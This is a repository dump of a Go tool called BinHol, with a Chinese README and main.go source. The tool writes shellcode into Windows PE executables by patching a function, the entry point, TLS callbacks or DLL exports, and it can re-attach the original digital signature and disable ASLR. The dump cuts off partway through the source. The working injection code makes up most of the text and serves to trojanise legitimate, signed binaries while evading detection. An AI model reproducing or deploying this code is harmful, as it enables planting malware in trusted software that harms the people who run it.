├── 7z.nosig.exe ├── 7za.exe ├── README.md ├── calc.text └── main.go /7z.nosig.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/timwhitez/BinHol/af9a808f385fff4d28dd03ebe63672ce7801c04a/7z.nosig.exe -------------------------------------------------------------------------------- /7za.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/timwhitez/BinHol/af9a808f385fff4d28dd03ebe63672ce7801c04a/7za.exe -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # BinHol (Binary Hollowing) 2 | 3 | BinHol 是一个强大的二进制文件修改工具,专门用于在 Windows PE(可执行)文件中插入自定义代码。这个项目提供了三种不同的代码注入技术,使用 Go 语言实现,为安全研究和软件测试提供了灵活的解决方案。 4 | 5 | > 注:本README由AI生成,内容可能需要进一步人工审核和修改。 6 | 7 | ## 更新日志 8 | 9 | ### 2024-09-02更新 10 | 1. 修复bug 11 | 2. function模式支持golang exe对于初始化阶段的patch 12 | 3. 支持对于dll导出函数的patch 13 | 14 | ### 2024-08-02更新 15 | 1. 加入证书表处理 16 | 2. function模式动态适配函数大小 17 | 18 | ## 功能特点 19 | 20 | - 支持三种不同的代码注入方法: 21 | 1. 函数补丁(Function Patch) 22 | 2. 入口点劫持(Entrypoint Hijack) 23 | 3. TLS 注入(TLS Injection) 24 | - 可选的数字签名处理 25 | - 动态适应函数大小(在函数模式下) 26 | - 证书表处理 27 | - 命令行界面,易于使用 28 | - 无需依赖 Capstone/Gapstone 库 29 | 30 | ## 安装 31 | 32 | 1. 确保你的系统上安装了 Go 编程语言(推荐 Go 1.15 或更高版本)。 33 | 2. 克隆仓库: 34 | ``` 35 | git clone https://github.com/timwhitez/BinHol.git 36 | ``` 37 | 3. 进入项目目录: 38 | ``` 39 | cd BinHol 40 | ``` 41 | 4. 编译项目: 42 | ``` 43 | go build -o binhol.exe main.go 44 | ``` 45 | 46 | ## 使用方法 47 | 48 | 基本用法: 49 | ``` 50 | binhol.exe [-sign] 51 | ``` 52 | 53 | 参数说明: 54 | - `-sign`:可选参数,用于处理数字签名 55 | - ``:注入方法,可选 `function`、`entrypoint` 或 `tlsinject` 56 | - ``:目标 PE 文件路径 57 | - ``:包含 shellcode 或要注入的 PE 文件路径 58 | 59 | 示例: 60 | 61 | 1. 函数补丁方法: 62 | ``` 63 | binhol.exe function .\7za.exe .\calc.text 64 | binhol.exe -sign function .\7za.exe .\calc.text 65 | ``` 66 | 67 | 2. 入口点劫持方法: 68 | ``` 69 | binhol.exe entrypoint .\7za.exe .\calc.text 70 | binhol.exe -sign entrypoint .\7za.exe .\calc.text 71 | ``` 72 | 73 | 3. TLS 注入方法: 74 | ``` 75 | binhol.exe tlsinject .\7za.exe .\calc.text 76 | binhol.exe -sign tlsinject .\7za.exe .\calc.text 77 | ``` 78 | 79 | ## 实现原理 80 | 81 | 1. 函数补丁:修改目标 PE 文件中的特定函数,插入自定义代码。 82 | 2. 入口点劫持:修改 PE 文件的入口点,使其首先执行注入的代码。 83 | 3. TLS 注入:利用 Windows 的线程本地存储(TLS)机制注入代码。 84 | 85 | 每种方法都有其特点和适用场景,可以根据需要选择合适的注入技术。 86 | 87 | ## 注意事项 88 | 89 | - 本工具仅用于教育和研究目的。在实际使用中,请确保遵守相关法律法规。 90 | - 修改二进制文件可能会导致目标程序不稳定或无法运行,请谨慎使用。 91 | - 建议在使用前备份目标 PE 文件。 92 | - 某些防病毒软件可能会将修改后的文件标记为潜在威胁。 93 | 94 | ## 致谢 95 | 96 | - 函数补丁方法参考了 [BinarySpy](https://github.com/yj94/BinarySpy) 项目 97 | - TLS 注入方法参考了 [sakeInject](https://github.com/aaaddress1/sakeInject) 项目 98 | - 入口点劫持方法基于作者之前的进程注入项目 99 | 100 | 特别感谢以上项目的作者们的开源贡献。 101 | -------------------------------------------------------------------------------- /calc.text: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/timwhitez/BinHol/af9a808f385fff4d28dd03ebe63672ce7801c04a/calc.text -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bytes" 5 | "encoding/binary" 6 | "flag" 7 | "fmt" 8 | "github.com/Binject/debug/pe" 9 | "io" 10 | "io/ioutil" 11 | "log" 12 | "os" 13 | "regexp" 14 | "strings" 15 | "syscall" 16 | "unsafe" 17 | ) 18 | 19 | // Constants for file attributes 20 | const ( 21 | FILE_ATTRIBUTE_ARCHIVE = 0x20 22 | FILE_ATTRIBUTE_READONLY = 0x01 23 | ) 24 | 25 | // SetFileAttributes sets the file attributes using Windows API 26 | func SetFileAttributes(filename string, attrs uint32) error { 27 | p, err := syscall.UTF16PtrFromString(filename) 28 | if err != nil { 29 | return err 30 | } 31 | return syscall.SetFileAttributes(p, attrs) 32 | } 33 | 34 | // GetFileAttributes gets the file attributes using Windows API 35 | func GetFileAttributes(filename string) (uint32, error) { 36 | p, err := syscall.UTF16PtrFromString(filename) 37 | if err != nil { 38 | return 0, err 39 | } 40 | attrs, err := syscall.GetFileAttributes(p) 41 | if err != nil { 42 | return 0, err 43 | } 44 | return attrs, nil 45 | } 46 | 47 | func main() { 48 | if len(os.Args) < 4 { 49 | fmt.Println("Usage: program [-sign] function/entrypoint/tlsinject ") 50 | fmt.Println("Usage: program [-sign] EAT ") 51 | return 52 | } 53 | 54 | // 定义命令行参数 55 | sign := flag.Bool("sign", false, "Use signing") 56 | 57 | // 解析命令行参数 58 | flag.Parse() 59 | 60 | // 获取非flag参数 61 | args := flag.Args() 62 | if len(args) < 3 { 63 | fmt.Println("Usage: program [-sign] function/entrypoint/tlsinject ") 64 | fmt.Println("Usage: program [-sign] EAT ") 65 | return 66 | } 67 | 68 | fmt.Println(args) 69 | 70 | fileArch := false 71 | 72 | mod := args[0] 73 | modify := args[1] 74 | textpath := args[2] 75 | 76 | var cert []byte 77 | 78 | fmt.Println(*sign) 79 | 80 | backupFile(modify) 81 | 82 | // Get current file attributes 83 | attrs, err := GetFileAttributes(modify) 84 | if err != nil { 85 | fmt.Println("Error getting file attributes:", err) 86 | return 87 | } 88 | 89 | // Check if the file is "-ar" 90 | if attrs&FILE_ATTRIBUTE_ARCHIVE != 0 && attrs&FILE_ATTRIBUTE_READONLY != 0 { 91 | fmt.Println("File has '-ar' attributes") 92 | fileArch = true 93 | 94 | // Set file attributes to "a" 95 | err := SetFileAttributes(modify, FILE_ATTRIBUTE_ARCHIVE) 96 | if err != nil { 97 | fmt.Println("Error setting attributes to 'a':", err) 98 | return 99 | } 100 | fmt.Println("Attributes set to 'a'") 101 | 102 | } 103 | 104 | switch mod { 105 | case "function": 106 | if *sign { 107 | fmt.Println("getsign") 108 | cert = CopyCert(modify) 109 | execute(modify, textpath) 110 | WriteCert(cert, modify, modify) 111 | } else { 112 | execute(modify, textpath) 113 | clearcert(modify) 114 | } 115 | 116 | case "entrypoint": 117 | if *sign { 118 | fmt.Println("getsign") 119 | cert = CopyCert(modify) 120 | off := findEntryOff(modify) 121 | replaceTextSectionOffset(modify, textpath, uint64(off)) 122 | WriteCert(cert, modify, modify) 123 | } else { 124 | off := findEntryOff(modify) 125 | replaceTextSectionOffset(modify, textpath, uint64(off)) 126 | clearcert(modify) 127 | } 128 | case "tlsinject": 129 | if *sign { 130 | fmt.Println("getsign") 131 | cert = CopyCert(modify) 132 | patchTls(modify, textpath) 133 | WriteCert(cert, modify, modify) 134 | } else { 135 | clearcert(modify) 136 | patchTls(modify, textpath) 137 | } 138 | case "EAT": 139 | funcname := args[3] 140 | if *sign { 141 | fmt.Println("getsign") 142 | cert = CopyCert(modify) 143 | err0 := EATpatch(modify, funcname, textpath) 144 | if err0 != nil { 145 | panic(err0) 146 | } 147 | WriteCert(cert, modify, modify) 148 | } else { 149 | err0 := EATpatch(modify, funcname, textpath) 150 | if err0 != nil { 151 | panic(err0) 152 | } 153 | clearcert(modify) 154 | } 155 | default: 156 | fmt.Println("wrong mode") 157 | } 158 | 159 | if fileArch == true { 160 | // Set file attributes back to "-ar" 161 | err = SetFileAttributes(modify, FILE_ATTRIBUTE_ARCHIVE|FILE_ATTRIBUTE_READONLY) 162 | if err != nil { 163 | fmt.Println("Error setting attributes back to 'ar':", err) 164 | return 165 | } 166 | fmt.Println("Attributes set back to 'ar'") 167 | } 168 | 169 | } 170 | 171 | // EATpatch 对 DLL 的指定导出函数进行文件 patch,写入 shellcode 172 | func EATpatch(pePath, funcname, shellcodePath string) error { 173 | // 打开 PE 文件 174 | file, err := pe.Open(pePath) 175 | if err != nil { 176 | return fmt.Errorf("Error opening PE file: %v", err) 177 | } 178 | defer file.Close() 179 | 180 | // 获取 EAT 181 | eat, err := file.Exports() 182 | if err != nil { 183 | return fmt.Errorf("Error get EAT: %v", err) 184 | } 185 | 186 | var funcAddr uint32 187 | for _, func0 := range eat { 188 | if strings.EqualFold(func0.Name, funcname) { 189 | fmt.Printf("Get func %s addr 0x%x\n", funcname, func0.VirtualAddress) 190 | funcAddr = func0.VirtualAddress 191 | break 192 | } 193 | } 194 | 195 | if funcAddr == 0 { 196 | return fmt.Errorf("Function address not found") 197 | } 198 | 199 | // 计算文件偏移 200 | funcOff := rva2offset(file, funcAddr) 201 | if err != nil { 202 | return fmt.Errorf("Error calculating file offset: %v", err) 203 | } 204 | 205 | fmt.Printf("Function Offset: 0x%x\n", funcOff) 206 | 207 | // 读取 shellcode 208 | shellcode, err := ioutil.ReadFile(shellcodePath) 209 | if err != nil { 210 | return fmt.Errorf("无法读取shellcode文件: %v", err) 211 | } 212 | 213 | fmt.Printf("Shellcode length: %d\n", len(shellcode)) 214 | 215 | // 打开文件进行写入 216 | file0, err := os.OpenFile(pePath, os.O_RDWR, 0644) 217 | if err != nil { 218 | return fmt.Errorf("无法打开PE文件: %v", err) 219 | } 220 | defer file0.Close() 221 | 222 | // 将文件指针移动到函数偏移位置 223 | if _, err := file0.Seek(int64(funcOff), 0); err != nil { 224 | return fmt.Errorf("无法定位到文件偏移: %v", err) 225 | } 226 | 227 | // 读取从 funcOff 开始的代码 228 | originalCode := make([]byte, len(shellcode)+2) // +2 是为了读取到足够的字节进行判断 229 | if _, err := file0.Read(originalCode); err != nil { 230 | return fmt.Errorf("无法读取原始代码: %v", err) 231 | } 232 | 233 | // 遍历 originalCode,从 funcOff 位置开始,判断是否符合条件 234 | for i := 0; i <= len(originalCode)-2; i++ { 235 | if originalCode[i] == 0xC3 { // ret opcode 236 | interval := i 237 | if interval < len(shellcode) { 238 | return fmt.Errorf("间隔小于shellcode大小,无法写入") 239 | } 240 | break 241 | } 242 | } 243 | 244 | // 将文件指针重新移动到函数偏移位置 245 | if _, err := file0.Seek(int64(funcOff), 0); err != nil { 246 | return fmt.Errorf("无法定位到文件偏移: %v", err) 247 | } 248 | 249 | // 写入 shellcode 250 | if _, err := file0.Write(shellcode); err != nil { 251 | return fmt.Errorf("无法写入数据: %v", err) 252 | } 253 | 254 | fmt.Println("成功: shellcode已成功写入PE文件中。") 255 | 256 | return nil 257 | } 258 | 259 | type IMAGE_DOS_HEADER struct { 260 | E_magic uint16 261 | E_cblp uint16 262 | E_cp uint16 263 | E_crlc uint16 264 | E_cparhdr uint16 265 | E_minalloc uint16 266 | E_maxalloc uint16 267 | E_ss uint16 268 | E_sp uint16 269 | E_csum uint16 270 | E_ip uint16 271 | E_cs uint16 272 | E_lfarlc uint16 273 | E_ovno uint16 274 | E_res [4]uint16 275 | E_oemid uint16 276 | E_oeminfo uint16 277 | E_res2 [10]uint16 278 | E_lfanew int32 279 | } 280 | 281 | type IMAGE_FILE_HEADER struct { 282 | Machine uint16 283 | NumberOfSections uint16 284 | TimeDateStamp uint32 285 | PointerToSymbolTable uint32 286 | NumberOfSymbols uint32 287 | SizeOfOptionalHeader uint16 288 | Characteristics uint16 289 | } 290 | 291 | type IMAGE_OPTIONAL_HEADER64 struct { 292 | Magic uint16 293 | MajorLinkerVersion uint8 294 | MinorLinkerVersion uint8 295 | SizeOfCode uint32 296 | SizeOfInitializedData uint32 297 | SizeOfUninitializedData uint32 298 | AddressOfEntryPoint uint32 299 | BaseOfCode uint32 300 | ImageBase uint64 301 | SectionAlignment uint32 302 | FileAlignment uint32 303 | MajorOperatingSystemVersion uint16 304 | MinorOperatingSystemVersion uint16 305 | MajorImageVersion uint16 306 | MinorImageVersion uint16 307 | MajorSubsystemVersion uint16 308 | MinorSubsystemVersion uint16 309 | Win32VersionValue uint32 310 | SizeOfImage uint32 311 | SizeOfHeaders uint32 312 | CheckSum uint32 313 | Subsystem uint16 314 | DllCharacteristics uint16 315 | SizeOfStackReserve uint64 316 | SizeOfStackCommit uint64 317 | SizeOfHeapReserve uint64 318 | SizeOfHeapCommit uint64 319 | LoaderFlags uint32 320 | NumberOfRvaAndSizes uint32 321 | DataDirectory [16]IMAGE_DATA_DIRECTORY 322 | } 323 | 324 | type IMAGE_NT_HEADERS64 struct { 325 | Signature uint32 326 | FileHeader IMAGE_FILE_HEADER 327 | OptionalHeader IMAGE_OPTIONAL_HEADER64 328 | } 329 | 330 | type IMAGE_DATA_DIRECTORY struct { 331 | VirtualAddress uint32 332 | Size uint32 333 | } 334 | 335 | type IMAGE_SECTION_HEADER struct { 336 | Name [8]byte 337 | VirtualSize uint32 338 | VirtualAddress uint32 339 | SizeOfRawData uint32 340 | PointerToRawData uint32 341 | PointerToRelocations uint32 342 | PointerToLinenumbers uint32 343 | NumberOfRelocations uint16 344 | NumberOfLinenumbers uint16 345 | Characteristics uint32 346 | } 347 | 348 | type IMAGE_TLS_DIRECTORY64 struct { 349 | StartAddressOfRawData uint64 350 | EndAddressOfRawData uint64 351 | AddressOfIndex uint64 352 | AddressOfCallBacks uint64 353 | SizeOfZeroFill uint32 354 | Characteristics uint32 355 | } 356 | 357 | const ( 358 | IMAGE_SCN_MEM_EXECUTE = 0x20000000 359 | IMAGE_SCN_MEM_READ = 0x40000000 360 | IMAGE_SCN_MEM_WRITE = 0x80000000 361 | ) 362 | 363 | func alignUp(size, align uint32) uint32 { 364 | return ((size + align - 1) / align) * align 365 | } 366 | 367 | func getNtHeaders(buf []byte) *IMAGE_NT_HEADERS64 { 368 | dosHeader := (*IMAGE_DOS_HEADER)(unsafe.Pointer(&buf[0])) 369 | return (*IMAGE_NT_HEADERS64)(unsafe.Pointer(&buf[dosHeader.E_lfanew])) 370 | } 371 | 372 | func getSectionArr(buf []byte) *[1 << 30]IMAGE_SECTION_HEADER { 373 | ntHeaders := getNtHeaders(buf) 374 | return (*[1 << 30]IMAGE_SECTION_HEADER)(unsafe.Pointer(uintptr(unsafe.Pointer(ntHeaders)) + unsafe.Sizeof(*ntHeaders))) 375 | } 376 | 377 | func newSection(buf []byte) *IMAGE_SECTION_HEADER { 378 | ntHeaders := getNtHeaders(buf) 379 | sectionArr := getSectionArr(buf) 380 | firstSecHdr := §ionArr[0] 381 | finalSecHdr := §ionArr[ntHeaders.FileHeader.NumberOfSections-1] 382 | creatSecHdr := §ionArr[ntHeaders.FileHeader.NumberOfSections] 383 | creatSecHdr.SizeOfRawData = 0 384 | 385 | copy(creatSecHdr.Name[:], ".tlss") 386 | creatSecHdr.Characteristics = IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE 387 | creatSecHdr.VirtualAddress = alignUp( 388 | finalSecHdr.VirtualAddress+finalSecHdr.VirtualSize, 389 | ntHeaders.OptionalHeader.SectionAlignment, 390 | ) 391 | ntHeaders.FileHeader.NumberOfSections++ 392 | 393 | if uintptr(unsafe.Pointer(creatSecHdr))-uintptr(unsafe.Pointer(&buf[0])) < uintptr(firstSecHdr.PointerToRawData) { 394 | return creatSecHdr 395 | } 396 | return nil 397 | } 398 | 399 | func tlsInject(exeData []byte, ptrStubData []byte, pathToWrite string) bool { 400 | ntHeaders := getNtHeaders(exeData) 401 | tlsDataDir := &ntHeaders.OptionalHeader.DataDirectory[9] // IMAGE_DIRECTORY_ENTRY_TLS 402 | sakeUsed := uint32(0) 403 | sakeSecData := make([]byte, 0x100+len(ptrStubData)) 404 | 405 | sectionArr := getSectionArr(exeData) 406 | lastSection := §ionArr[ntHeaders.FileHeader.NumberOfSections-1] 407 | offsetNewDataStart := alignUp(lastSection.PointerToRawData+lastSection.SizeOfRawData, ntHeaders.OptionalHeader.FileAlignment) 408 | 409 | sakeSection := newSection(exeData) 410 | if sakeSection == nil { 411 | return false 412 | } 413 | 414 | if tlsDataDir.VirtualAddress == 0 || tlsDataDir.Size == 0 { 415 | imgTlsDir := (*IMAGE_TLS_DIRECTORY64)(unsafe.Pointer(&sakeSecData[0])) 416 | sakeUsed += uint32(unsafe.Sizeof(*imgTlsDir)) 417 | 418 | imgTlsDir.AddressOfIndex = ntHeaders.OptionalHeader.ImageBase + uint64(sakeSection.VirtualAddress) 419 | imgTlsDir.AddressOfCallBacks = ntHeaders.OptionalHeader.ImageBase + uint64(sakeSection.VirtualAddress) + uint64(sakeUsed) 420 | 421 | addrOfCBackSaveAt := (*[2]uint64)(unsafe.Pointer(&sakeSecData[sakeUsed])) 422 | sakeUsed += 16 // size of two uint64 423 | addrOfCBackSaveAt[0] = ntHeaders.OptionalHeader.ImageBase + uint64(sakeSection.VirtualAddress) + uint64(sakeUsed) 424 | addrOfCBackSaveAt[1] = 0 425 | 426 | tlsDataDir.VirtualAddress = sakeSection.VirtualAddress 427 | tlsDataDir.Size = sakeUsed 428 | } else { 429 | imgTlsDirOffset := rvaToOffset(exeData, tlsDataDir.VirtualAddress) 430 | if imgTlsDirOffset == 0 || int(imgTlsDirOffset)+int(unsafe.Sizeof(IMAGE_TLS_DIRECTORY64{})) > len(exeData) { 431 | log.Printf("Invalid TLS directory offset: %d", imgTlsDirOffset) 432 | return false 433 | } 434 | imgTlsDir := *(*IMAGE_TLS_DIRECTORY64)(unsafe.Pointer(&exeData[imgTlsDirOffset])) 435 | 436 | k := rvaToOffset(exeData, uint32(imgTlsDir.AddressOfCallBacks-ntHeaders.OptionalHeader.ImageBase)) 437 | if k == 0 || int(k)+16 > len(exeData) { 438 | log.Printf("Invalid AddressOfCallBacks offset: %d", k) 439 | return false 440 | } 441 | // 动态计算回调数组的长度 442 | addrOfCBackSaveAt := (*[1 << 30]uint64)(unsafe.Pointer(&exeData[k])) // 假设最大长度为1<<30 443 | for addrOfCBackSaveAt[0] != 0 { 444 | addrOfCBackSaveAt = (*[1 << 30]uint64)(unsafe.Pointer(uintptr(unsafe.Pointer(addrOfCBackSaveAt)) + unsafe.Sizeof(addrOfCBackSaveAt[0]))) 445 | } 446 | addrOfCBackSaveAt[0] = ntHeaders.OptionalHeader.ImageBase + uint64(sakeSection.VirtualAddress) + uint64(sakeUsed) 447 | addrOfCBackSaveAt[1] = 0 448 | } 449 | 450 | fileSakeSize := alignUp(sakeUsed+uint32(len(ptrStubData)), ntHeaders.OptionalHeader.FileAlignment) 451 | sectSakeSize := alignUp(sakeUsed+uint32(len(ptrStubData)), ntHeaders.OptionalHeader.SectionAlignment) 452 | sakeSection.PointerToRawData = offsetNewDataStart 453 | sakeSection.SizeOfRawData = fileSakeSize 454 | sakeSection.VirtualSize = sectSakeSize 455 | 456 | outExeBuf := make([]byte, len(exeData)+int(fileSakeSize)) 457 | copy(outExeBuf, exeData) 458 | copy(outExeBuf[offsetNewDataStart:], sakeSecData[:sakeUsed]) 459 | copy(outExeBuf[offsetNewDataStart+sakeUsed:], ptrStubData) 460 | 461 | fixUp_SaveExeToFile(outExeBuf, pathToWrite) 462 | return true 463 | } 464 | 465 | func rvaToOffset(exeData []byte, RVA uint32) uint32 { 466 | ntHeaders := getNtHeaders(exeData) 467 | sectionArr := getSectionArr(exeData) 468 | for i := uint16(0); i < ntHeaders.FileHeader.NumberOfSections; i++ { 469 | section := §ionArr[i] 470 | if RVA >= section.VirtualAddress && RVA <= section.VirtualAddress+section.VirtualSize { 471 | return section.PointerToRawData + (RVA - section.VirtualAddress) 472 | } 473 | } 474 | return 0 475 | } 476 | 477 | func fixUp_SaveExeToFile(bufToSave []byte, pathToWrite string) { 478 | ntHeaders := getNtHeaders(bufToSave) 479 | sectionArr := getSectionArr(bufToSave) 480 | 481 | for i := uint16(1); i < ntHeaders.FileHeader.NumberOfSections; i++ { 482 | sectionArr[i-1].VirtualSize = sectionArr[i].VirtualAddress - sectionArr[i-1].VirtualAddress 483 | } 484 | 485 | lastSection := §ionArr[ntHeaders.FileHeader.NumberOfSections-1] 486 | lastSection.VirtualSize = alignUp(lastSection.SizeOfRawData, ntHeaders.OptionalHeader.SectionAlignment) 487 | 488 | ntHeaders.OptionalHeader.SizeOfImage = lastSection.VirtualAddress + lastSection.VirtualSize 489 | 490 | ntHeaders.OptionalHeader.DllCharacteristics &^= 0x0040 // IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE 491 | 492 | err := ioutil.WriteFile(pathToWrite, bufToSave, 0644) 493 | if err != nil { 494 | log.Fatalf("Failed to write output file: %v", err) 495 | } 496 | } 497 | 498 | func patchTls(peFilePath, shellcodePath string) string { 499 | exeData, err := ioutil.ReadFile(peFilePath) 500 | if err != nil { 501 | log.Fatalf("Failed to read PE file: %v", err) 502 | } 503 | 504 | shellcode, err := ioutil.ReadFile(shellcodePath) 505 | if err != nil { 506 | log.Fatalf("Failed to read shellcode file: %v", err) 507 | } 508 | 509 | outputPath := peFilePath 510 | if tlsInject(exeData, shellcode, outputPath) { 511 | fmt.Printf("TLS injection successful. Output file: %s\n", outputPath) 512 | } else { 513 | fmt.Println("TLS injection failed.") 514 | } 515 | return outputPath 516 | } 517 | 518 | func findEntryOff(pePath string) uint32 { 519 | // 打开 PE 文件 520 | file, err := pe.Open(pePath) 521 | if err != nil { 522 | fmt.Println("Error opening PE file:", err) 523 | return 0 524 | } 525 | defer file.Close() 526 | 527 | // 获取 AddressOfEntryPoint 528 | entryPoint := file.OptionalHeader.(*pe.OptionalHeader64).AddressOfEntryPoint 529 | 530 | fmt.Printf("AddressOfEntryPoint: 0x%X\n", entryPoint) 531 | 532 | // 计算文件偏移 533 | return rva2offset(file, entryPoint) 534 | } 535 | 536 | func rva2offset(pefile *pe.File, rva uint32) uint32 { 537 | for _, section := range pefile.Sections { 538 | if rva >= section.VirtualAddress && rva < section.VirtualAddress+section.VirtualSize { 539 | return rva - section.VirtualAddress + section.Offset 540 | } 541 | } 542 | return 0 543 | } 544 | 545 | func va2rva(pefile *pe.File, va uint64) uint32 { 546 | imageBase := pefile.OptionalHeader.(*pe.OptionalHeader64).ImageBase 547 | return uint32(va - imageBase) 548 | } 549 | func replaceTextSectionOffset(peFilePath, textBinPath string, off uint64) { 550 | peFile, err := pe.Open(peFilePath) 551 | if err != nil { 552 | fmt.Println("无法读取PE文件:", err) 553 | return 554 | } 555 | defer peFile.Close() 556 | 557 | fileOffset := off 558 | if fileOffset == 0 { 559 | fmt.Println("错误: 无法找到对应的文件偏移,RVA 可能不在任何节区中。") 560 | return 561 | } 562 | 563 | textData, err := ioutil.ReadFile(textBinPath) 564 | if err != nil { 565 | fmt.Println("无法读取text bin文件:", err) 566 | return 567 | } 568 | 569 | file, err := os.OpenFile(peFilePath, os.O_RDWR, 0644) 570 | if err != nil { 571 | fmt.Println("无法打开PE文件:", err) 572 | return 573 | } 574 | defer file.Close() 575 | 576 | if _, err := file.Seek(int64(fileOffset), 0); err != nil { 577 | fmt.Println("无法定位到文件偏移:", err) 578 | return 579 | } 580 | 581 | if _, err := file.Write(textData); err != nil { 582 | fmt.Println("无法写入数据:", err) 583 | return 584 | } 585 | 586 | fmt.Println("成功: .text节区已成功覆盖在PE文件中。") 587 | } 588 | 589 | func replaceTextSection(peFilePath, textBinPath string, va uint64) { 590 | peFile, err := pe.Open(peFilePath) 591 | if err != nil { 592 | fmt.Println("无法读取PE文件:", err) 593 | return 594 | } 595 | defer peFile.Close() 596 | 597 | rva := va2rva(peFile, va) 598 | fileOffset := rva2offset(peFile, rva) 599 | if fileOffset == 0 { 600 | fmt.Println("错误: 无法找到对应的文件偏移,RVA 可能不在任何节区中。") 601 | return 602 | } 603 | 604 | textData, err := ioutil.ReadFile(textBinPath) 605 | if err != nil { 606 | fmt.Println("无法读取text bin文件:", err) 607 | return 608 | } 609 | 610 | file, err := os.OpenFile(peFilePath, os.O_RDWR, 0644) 611 | if err != nil { 612 | fmt.Println("无法打开PE文件:", err) 613 | return 614 | } 615 | defer file.Close() 616 | 617 | if _, err := file.Seek(int64(fileOffset), 0); err != nil { 618 | fmt.Println("无法定位到文件偏移:", err) 619 | return 620 | } 621 | 622 | if _, err := file.Write(textData); err != nil { 623 | fmt.Println("无法写入数据:", err) 624 | return 625 | } 626 | 627 | fmt.Println("成功: .text节区已成功覆盖在PE文件中。") 628 | } 629 | 630 | func checkFileExist(filePath string) bool { 631 | info, err := os.Stat(filePath) 632 | if os.IsNotExist(err) { 633 | return false 634 | } 635 | return !info.IsDir() 636 | } 637 | 638 | func execute(modifyPEFilePath, textOrPEPath string) { 639 | if modifyPEFilePath == "" || textOrPEPath == "" { 640 | fmt.Println("错误: 输入不能为空。") 641 | return 642 | } 643 | 644 | if !strings.HasSuffix(strings.ToLower(modifyPEFilePath), ".exe") { 645 | fmt.Println("错误: 待修改的PE文件必须是.exe格式。") 646 | return 647 | } 648 | 649 | textData, err := ioutil.ReadFile(textOrPEPath) 650 | if err != nil { 651 | fmt.Println("无法读取text bin文件:", err) 652 | return 653 | } 654 | dataLen := len(textData) 655 | textData = nil 656 | fmt.Printf("shellcode长度为: %d\n", dataLen) 657 | 658 | fmt.Println("启动自动化patch") 659 | va := findCrtFunction(modifyPEFilePath, dataLen) 660 | 661 | fmt.Printf("成功: 获取到可能patch func va: %x\n", va) 662 | 663 | var textBinPath string 664 | 665 | if !checkFileExist(textOrPEPath) { 666 | fmt.Println("错误: .text文件不可读或不存在。") 667 | return 668 | } 669 | textBinPath = textOrPEPath 670 | 671 | replaceTextSection(modifyPEFilePath, textBinPath, va) 672 | } 673 | 674 | func findCrtFunction(pePath string, dataLen int) uint64 { 675 | peFile, err := pe.Open(pePath) 676 | if err != nil { 677 | fmt.Println("无法读取PE文件:", err) 678 | return 0 679 | } 680 | defer peFile.Close() 681 | 682 | entryPointRva := peFile.OptionalHeader.(*pe.OptionalHeader64).AddressOfEntryPoint 683 | codeSize := uint32(0x100) 684 | codeRva := entryPointRva - 0x10 685 | codeVa := uint64(codeRva) + peFile.OptionalHeader.(*pe.OptionalHeader64).ImageBase 686 | code, err := getMemoryMappedImage(peFile) 687 | if err != nil { 688 | fmt.Println("无法获取内存映射镜像:", err) 689 | return 0 690 | } 691 | 692 | code = code[codeRva : codeRva+codeSize] 693 | 694 | callJmpCount := 0 695 | var crtAddr uint64 696 | for i := 0; i < len(code)-5; i++ { 697 | if code[i] == 0xE9 { // jmp opcode 698 | callJmpCount++ 699 | if callJmpCount == 1 { 700 | relativeAddr := int32(binary.LittleEndian.Uint32(code[i+1 : i+5])) 701 | crtAddr = uint64(int64(codeVa) + int64(i) + int64(relativeAddr) + 5) 702 | fmt.Printf("CRT function VA: 0x%x\n", crtAddr) 703 | break 704 | } 705 | } 706 | } 707 | 708 | isGo, _ := isGoPEFile(peFile) 709 | if isGo { 710 | fmt.Println("Go PE File!!") 711 | return findByCrtGO(pePath, crtAddr, dataLen) 712 | } 713 | 714 | return findByCrt(pePath, crtAddr, dataLen) 715 | } 716 | 717 | // 检查 PE 文件是否是由 Go 编译器生成的 718 | func isGoPEFile(peFile *pe.File) (bool, error) { 719 | for _, section := range peFile.Sections { 720 | if section.Name == ".rdata" { 721 | data, err := section.Data() 722 | if err != nil { 723 | return false, fmt.Errorf("无法读取节数据: %v", err) 724 | } 725 | if bytes.Contains(data, []byte("go build")) { 726 | return true, nil 727 | } 728 | } 729 | } 730 | return false, nil 731 | } 732 | 733 | func findByCrtGO(pePath string, crtAddr uint64, dataLen int) uint64 { 734 | peFile, err := pe.Open(pePath) 735 | if err != nil { 736 | fmt.Println("无法读取PE文件:", err) 737 | return 0 738 | } 739 | defer peFile.Close() 740 | 741 | crtAddrRva := va2rva(peFile, crtAddr) 742 | codeSize := uint32(0x300) 743 | codeRva := crtAddrRva 744 | codeVa := uint64(codeRva) + peFile.OptionalHeader.(*pe.OptionalHeader64).ImageBase 745 | code, err := getMemoryMappedImage(peFile) 746 | if err != nil { 747 | fmt.Println("无法获取内存映射镜像:", err) 748 | return 0 749 | } 750 | 751 | code = code[codeRva : codeRva+codeSize] 752 | 753 | var crtR8Addr uint64 754 | crtR8AddrCount := 0 755 | for i := 0; i < len(code)-5; i++ { 756 | if code[i] == 0xE9 { // jmp opcode 757 | crtR8AddrCount++ 758 | if crtR8AddrCount == 1 { 759 | relativeAddr := int32(binary.LittleEndian.Uint32(code[i+1 : i+5])) 760 | crtR8Addr = uint64(int64(codeVa) + int64(i) + int64(relativeAddr) + 5) 761 | fmt.Printf("abi0 function VA: 0x%x\n", crtR8Addr) 762 | break 763 | } 764 | } 765 | } 766 | return findByMain(pePath, crtR8Addr, dataLen) 767 | } 768 | 769 | func findByCrt(pePath string, crtAddr uint64, dataLen int) uint64 { 770 | peFile, err := pe.Open(pePath) 771 | if err != nil { 772 | fmt.Println("无法读取PE文件:", err) 773 | return 0 774 | } 775 | defer peFile.Close() 776 | 777 | crtAddrRva := va2rva(peFile, crtAddr) 778 | codeSize := uint32(0x300) 779 | codeRva := crtAddrRva 780 | codeVa := uint64(codeRva) + peFile.OptionalHeader.(*pe.OptionalHeader64).ImageBase 781 | code, err := getMemoryMappedImage(peFile) 782 | if err != nil { 783 | fmt.Println("无法获取内存映射镜像:", err) 784 | return 0 785 | } 786 | 787 | code = code[codeRva : codeRva+codeSize] 788 | 789 | var crtR8Addr uint64 790 | 